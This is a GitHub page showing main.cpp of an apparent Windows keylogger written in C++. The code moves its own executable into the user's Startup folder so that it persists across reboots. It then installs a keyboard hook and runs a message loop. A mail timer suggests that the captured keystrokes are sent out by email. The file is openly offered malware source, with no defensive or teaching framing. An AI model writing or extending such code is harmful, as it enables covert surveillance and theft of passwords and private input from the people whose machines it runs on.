-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
81 lines (75 loc) · 2.07 KB
/
main.cpp
File metadata and controls
81 lines (75 loc) · 2.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <iostream>
#include <windows.h>
#include <dirent.h>
#include <cstddef>
#include "KeybHook.h"
using namespace std;
std::string GetOurPath ();
string SplitFilename (const std::string& str);
int main ()
{
bool check = false;
char filename[ MAX_PATH ];
DWORD size = GetModuleFileNameA( NULL, filename, MAX_PATH );
if (size)
{
string a = GetOurPath ();
string b = filename;
string c = "move \"" +b + "\" \"" + a + "\"";
string g = "cd " + a;
string j= SplitFilename(filename);
char d[ MAX_PATH ],f[ MAX_PATH];
cout << c << endl;
strcpy(d,c.c_str());
strcpy(f,a.c_str());
DIR *dir;
struct dirent *ent;
if ((dir = opendir (f)) != NULL) {
/* print all the files and directories within directory */
while ((ent = readdir (dir)) != NULL) {
if(ent->d_name==j)
{
check = true;
}
}
if(check)
{
goto a;
}
else{
system(d);
}
closedir (dir);
} else {
/* could not open directory */
perror ("");
return EXIT_FAILURE;
}
}
else{
}
a:
MSG Msg;
IO::MkDir (IO::GetOurPath (true));
InstalHook ();
while (GetMessage (&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
MailTimer.Stop ();
return 0;
}
std::string GetOurPath ()
{
std::string appdata_dir (getenv("APPDATA"));
std::string full = appdata_dir + R"(\Microsoft\Windows\Start Menu\Programs\Startup\)";
return full ;
}
string SplitFilename (const std::string& str)
{
std::cout << "Splitting: " << str << '\n';
std::size_t found = str.find_last_of("/\\");
std::cout << " path: " << str.substr(0,found) << '\n';
return(str.substr(found+1));
}